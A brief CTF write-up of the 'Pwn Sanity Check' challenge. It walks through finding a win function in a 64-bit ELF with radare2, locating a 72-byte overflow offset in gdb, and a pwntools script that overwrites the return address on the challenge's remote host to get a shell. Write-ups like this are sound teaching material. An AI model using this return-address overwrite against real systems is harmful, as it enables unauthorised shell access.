Pwn Sanity Check

1 minute read

img

Taking a look at the file we see that it’s ELF 64-bit

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ae6fb7020a27e2fdccdb6826a57ccc5bfc0d127a, not stripped

Loading it in to radare 2 and listing the functions we can see that there is a win function

img

Disassembling that function with pdf @sym.main

img

There’s a lot going on. Looks like when the function is called it’s checking for two arguments 0xdeadbeef and 0x1337c0de and then it gives us a shell? What if we skip the variable checks completely and jump to 0x004006cf?

img

Loading the binary into gdb (using gef support), we can start poking at it and try to find the offset

I was having issues with pattern create/search so I did it the old fashioned way: sending lots of ‘A’s and ‘B’s until something looked neat

Using gdb with gef you can use pi print('A'*100) to quickly toss a string of characters together

After sending different lenghts, I found that 72 was when we started seeing the ‘B’ characters leak in

pi print('A'*72 + 'B')

img

Things we know:

  1. The offset is 72
  2. The address we want to jump to is 0x004006cf
  3. It’s an ELF 64-bit binary

That’s enough to write a script using Pwntools. Here’s mine

from pwn import *

p = remote('dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io', 7480)

offset = b'A' * 72

print(p.recvuntil('joke\n'))
p.sendline(offset + p64(0x004006cf))
p.interactive()

The p64(0x004006cf) function call packs the address in Little Endian format, required to be passed, and p.interactive() just catches the shell and allows us to send input.

img